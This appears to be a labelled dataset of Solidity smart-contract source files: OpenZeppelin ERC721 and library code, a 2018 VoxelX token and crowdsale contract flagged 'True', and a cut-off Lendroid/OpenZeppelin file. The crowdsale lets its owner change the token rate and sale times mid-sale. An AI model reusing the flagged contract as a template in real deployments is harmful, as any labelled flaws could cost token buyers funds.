function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
// solhint-disable-next-line no-inline-assembly
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant alphabet = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = alphabet[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
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|
// Created by Mohamed Sharaf
// EMail: [email protected]
// Date: 15/04/2018
pragma solidity ^0.4.21;
contract VoxelX {
/* Constructor */
function VoxelX() public {
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract tokenRecipient {function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public;}
contract Token is Ownable {
// Public variables of the token
string public name = "VoxelX GRAY";
string public symbol = "GRAY";
uint8 public decimals = 18;
uint256 public totalSupply = 10000000000 * 10 ** uint256(decimals); // 10 billion tokens;
// This creates an array with all balances
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constructor function
* Initializes contract with initial supply tokens to the creator of the contract
*/
function Token() public {
balanceOf[msg.sender] = totalSupply;
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
// Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
// Check if the sender has enough
balanceOf[msg.sender] -= _value;
// Subtract from the sender
totalSupply -= _value;
// Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
// Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]);
// Check allowance
balanceOf[_from] -= _value;
// Subtract from the targeted balance
allowance[_from][msg.sender] -= _value;
// Subtract from the sender's allowance
totalSupply -= _value;
// Update totalSupply
emit Burn(_from, _value);
return true;
}
// Change Name
function setName(string _name) public onlyOwner {
name = _name;
}
}
contract Crowdsale is Ownable {
using SafeMath for uint256;
// Token being sold
Token public token;
// start and end timestamps where investments are allowed (both inclusive)
uint256 public startTime = 1524202200;
uint256 public endTime = 1525973400;
// Crowdsale cap (how much can be raised total)
uint256 public cap = 25000 ether;
// Address where funds are collected
address public wallet = 0x0a46e230869d60e737147d986Fc2973Cad379B4e;
// Predefined rate of token to Ethereum (1/rate = crowdsale price)
uint256 public rate = 200000;
// Min/max purchase
uint256 public minSale = 0.0025 ether;
uint256 public maxSale = 1000 ether;
// amount of raised money in wei
uint256 public weiRaised;
mapping(address => uint256) public contributions;
// Finalization flag for when we want to withdraw the remaining tokens after the end
bool public finished = false;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(address _token) public {
require(_token != address(0));
owner = msg.sender;
token = Token(_token);
}
// fallback function can be used to buy tokens
function() external payable {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = getTokenAmount(weiAmount);
// update total and individual contributions
weiRaised = weiRaised.add(weiAmount);
contributions[beneficiary] = contributions[beneficiary].add(weiAmount);
// Send tokens
token.transfer(beneficiary, tokens);
emit TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
// Send funds
wallet.transfer(msg.value);
}
// Returns true if crowdsale event has ended
function hasEnded() public view returns (bool) {
bool capReached = weiRaised >= cap;
bool endTimeReached = now > endTime;
return capReached || endTimeReached || finished;
}
// Bonuses for larger purchases (in hundredths of percent)
function bonusPercentForWeiAmount(uint256 weiAmount) public pure returns (uint256) {
if (weiAmount >= 500 ether) return 1000;
// 10%
if (weiAmount >= 250 ether) return 750;
// 7.5%
if (weiAmount >= 100 ether) return 500;
// 5%
if (weiAmount >= 50 ether) return 375;
// 3.75%
if (weiAmount >= 15 ether) return 250;
// 2.5%
if (weiAmount >= 5 ether) return 125;
// 1.25%
return 0;
// 0% bonus if lower than 5 eth
}
// Returns you how much tokens do you get for the wei passed
function getTokenAmount(uint256 weiAmount) internal view returns (uint256) {
uint256 tokens = weiAmount.mul(rate);
uint256 bonus = bonusPercentForWeiAmount(weiAmount);
tokens = tokens.mul(10000 + bonus).div(10000);
return tokens;
}
// Returns true if the transaction can buy tokens
function validPurchase() internal view returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool moreThanMinPurchase = msg.value >= minSale;
bool lessThanMaxPurchase = contributions[msg.sender] + msg.value <= maxSale;
bool withinCap = weiRaised.add(msg.value) <= cap;
return withinPeriod && moreThanMinPurchase && lessThanMaxPurchase && withinCap && !finished;
}
// Escape hatch in case the sale needs to be urgently stopped
function endSale() public onlyOwner {
finished = true;
// send remaining tokens back to the owner
uint256 tokensLeft = token.balanceOf(this);
token.transfer(owner, tokensLeft);
}
// set rate for gray so we can handle time based sales rates
function setRate(uint256 _rate) public onlyOwner {
rate = _rate;
}
// set start time
function setStartTime(uint256 _startTime) public onlyOwner {
startTime = _startTime;
}
// set end time
function setEndTime(uint256 _endTime) public onlyOwner {
endTime = _endTime;
}
// set finalized time so contract can be paused
function setFinished(bool _finished) public onlyOwner {
finished = _finished;
}
} | True | [
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|
// SPDX-License-Identifier: https://github.com/lendroidproject/protocol.2.0/blob/master/LICENSE.md
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity ^0.7.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.7.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.7.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
